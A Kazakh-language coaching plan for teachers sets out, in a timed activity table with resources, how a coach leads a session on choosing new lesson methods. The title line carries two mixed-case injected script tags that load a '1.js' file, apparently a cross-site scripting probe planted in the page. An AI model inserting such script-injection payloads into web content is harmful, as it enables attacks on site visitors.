Тақырыбы:Сабақты өзгерту үшін мен қандай әдіс-тәсілдерді қолданамын?<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
02.03.2022
Коучинг жоспары
Тақырыбы:Сабақты өзгерту үшін мен қандай әдіс-тәсілдерді қолданамын?
Мақсаты: Білім беру мен білім алудағы жаңа тәсілдер туралы түсініктер қалыптастыру,
оқыту сапасын жақсарту үшін жаңа әдіс – тәсілдерді тиімді пайдалануға бағыт беру.
Күтілетін нәтиже: Мұғалімдерде оқыту мен оқудағы жаңа тәсілдерді өз тәжірибесіне қалай ықпалдастыру керектігін түсінеді;
Өз тәжірибелерінде орынды пайдалана алады;
Сабақ беру әдісін өзгертеді;
Күні: 17.02.2022ж
|
№ |
Коучтың іс - әрекеті |
Қатысушылардың іс - әрекеті |
Ресурс |
|
1 |
Амандасу Коуч шараға қатысушылармен амандасады «Оркестр» сергіту ойыны арқылы топқа бөледі (5 мин) |
Сергіту барысында топтарға бөлінеді
|
Музыкалық инструмент- тер суреттерінің қиындысы |
|
2 |
Тақырыпқа кірісу үшін сұрақтар қояды Күнделікті сабақта жаңа әдіс-тәсілдерді пайдаланасыз ба? Күнделікті сабақтарда жиі қолданатын әдіс-тәсілдеріңіз қандай? Бір сабақ үстінде қанша әдіс түрлерін пайдаланасыз? Әдіс-тәсілдерді не үшін өзгерту керек? Әдіс-тәсілдерді түрлендіру нәтиже береді деп ойлайсыз ба? Сабақтың сапалы өтуі әдіс-тәсілге тәуелді ме? (5 мин) |
Сұрақтарға жауап береді. Өз ойларын ортаға салады. |
|
|
3 |
«Тиімді әдіс – тәсілдер сапалы сабақ кепілі» слайд көрсетемін Әдіс – тәсілдер түрлері жинақталған ресурс таратамын (7 мин) |
Слайдтан алған мәліметтері мен өз жұмыстарын саралай отырып ой тұжырымдайды. Ресурспен танысады
|
АКТ, таратпа қағаздар, тақта |
|
4 |
Таратылған ресурс бойынша әдіс – тәсілдерді сабақтың қай кезеңіне пайдалануға болады және өз тәжірибелеріндегі әдіс-тәсілдермен бөлісіп, постер жасауды ұсынамын (20 мин) |
Ресурс мазмұны мен өз тәжірибелеріндегі әдіс-тәсіл түрлерін сабақ кезеңдеріне бөледі, қатысушыларға таныстырады |
Таратпа қағаздар, флипчарт, маркерлер, стикерлер |
|
5
|
Топтарға бір-бірін «Екі жұлдыз, бір ұсыныс» бойынша бағалауды ұсынамын
Сергіту (5 мин) |
Топ мүшелері «Екі жұлдыз, бір ұсыныстарын » стикерлерге жазып, жапсырады Ойынға қатысады, ойларын сергітеді |
Стикерлер
Ойынға қажетті әр - түрлі заттар |
|
5 |
Рефлексия Коуч кері байланыс жұмысын жүргізеді Кері байланыс парақтарын таратады(2мин) |
Кері байланыс парағын толтырады |
Таратпа материалдар,жазу құралдары |
|
6 |
Қатысушыларға белсенділіктері үшін мадақтап, қорытындылау(1мин) |
|
|
